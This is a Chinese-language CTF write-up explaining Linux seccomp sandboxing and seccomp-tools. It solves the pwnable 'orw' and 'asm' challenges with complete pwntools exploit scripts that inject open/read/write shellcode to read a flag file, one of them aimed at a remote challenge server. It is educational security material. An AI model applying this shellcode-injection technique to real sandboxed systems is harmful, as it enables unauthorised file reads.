0x00: 簡介
沙箱機制,英文sandbox,是計算機領域的虛擬技術,常見於安全方向。一般說來,我們會將不受信任的軟體放在沙箱中執行,一旦該軟體有惡意行為,則禁止該程式的進一步執行,不會對真實系統造成任何危害。
安全計算模式seccomp(Secure Computing Mode)在Linux2.6.10之後引入到kernel的特性,可用其實現一個沙箱環境。使用seccomp模式可以定義系統呼叫白名單和黑名單。seccomp機制用於限制應用程式可以使用的系統呼叫,增加系統的安全性。
在ctf中主要通過兩種方式實現沙箱機制:
- prctl系統呼叫;
- seccomp庫函式;
0x01: 函式限制檢測工具seccomp-tools
安裝:
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用:
0x02: 例題實踐
Pwnable_orw:
通過checksec可以看出其架構,遠端的也是這個。
如果使用shellcraft、asm模組,要配置相對應的架構,可以通過context.binary = "./xxx"自動地完成配置。
用seccomp-tools dump ./orw檢查受限函式:
允許的函式主要有open、read、write系統呼叫函式,用這個函式讀取flag。
用32位的IDA開啟進行分析:
沒有資料段不可執行保護,所以直接往bss裡面寫shellcode就可以了。通過shellcode寫入後,後面第6行就進行執行了。
Exp: from pwn import * context.log_level = "debug" context.binary = "./orw" io = process("./orw") #io = remote("node4.buuoj.cn",27178) bss = 0x804A060 payload = shellcraft.open("flag") payload += shellcraft.read(3,bss + 100, 100) payload += shellcraft.write(1,bss + 100, 100)
io.recvuntil("Give my your shellcode:") io.sendline(asm(payload)) print(io.recv())
Pwnable_asm:
先用checksec工具檢查架構和其保護機制,然後使用seccomp-tools工具檢查受限制函式(這步是在開啟IDA後,看到sandbox函式後進行的)。
從圖可以看出,僅被允許的系統呼叫有:read()、write()、open()和exit()。(這個在IDA的註釋裡面也有說明~)
用64位IDA開啟分析程式:
函式分析:
- 12行用mmap對映了一段0x1000B大小的匿名空間,起始地址為s = 0x41414000;
- 13行將開闢的空間用144進行初始化,144是啥?0x90。根據註釋說是用shellcode解法,應該是製作了nop滑梯。
- 15行將stub陣列賦給了匿名空間前段,stud是啥?由於ida中該陣列的值顯示有點零散,所以我就在pwnable網站檢視了原始碼:stud[46] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48",反彙編:(其實就是清空暫存器,好像不影響寫入shellcode)
- 17行接著向後面輸入資料,關鍵點:寫入我們想要shellcode進行執行。
- 19行chroot(directory):將該程式的根目錄改為directory。可以防止我們找不到遠端中的路徑,我們直接open("./flag")就行。
- 20行sandbox開沙箱機制嘛~
- 21行應該是ida分析有誤,原始碼是沒有引數的:((void (*)(void))s)();就是從s那裡開始執行。
分析完程式,已經很明顯了,和上一題一樣。通過17行寫入shellcode,然後21行會進行執行。
Exp: from pwn import * context.log_level = 'debug' context.binary = './asm' #io = process("./asm") io = remote("node4.buuoj.cn",26533) addr = 0x41414000 + 0x100 payload = shellcraft.open("flag") payload += shellcraft.read(3, addr, 0x30) payload += shellcraft.write(1,addr, 0x30) io.recvuntil("give me your x64 shellcode: ") io.sendline(asm(payload)) print(io.recv())
0x03: 最後
初步接觸,有些地方沒思考得太透。所以,有疑惑的朋友可以在評論區提出,互相交流學習。
tolele
2022-04-25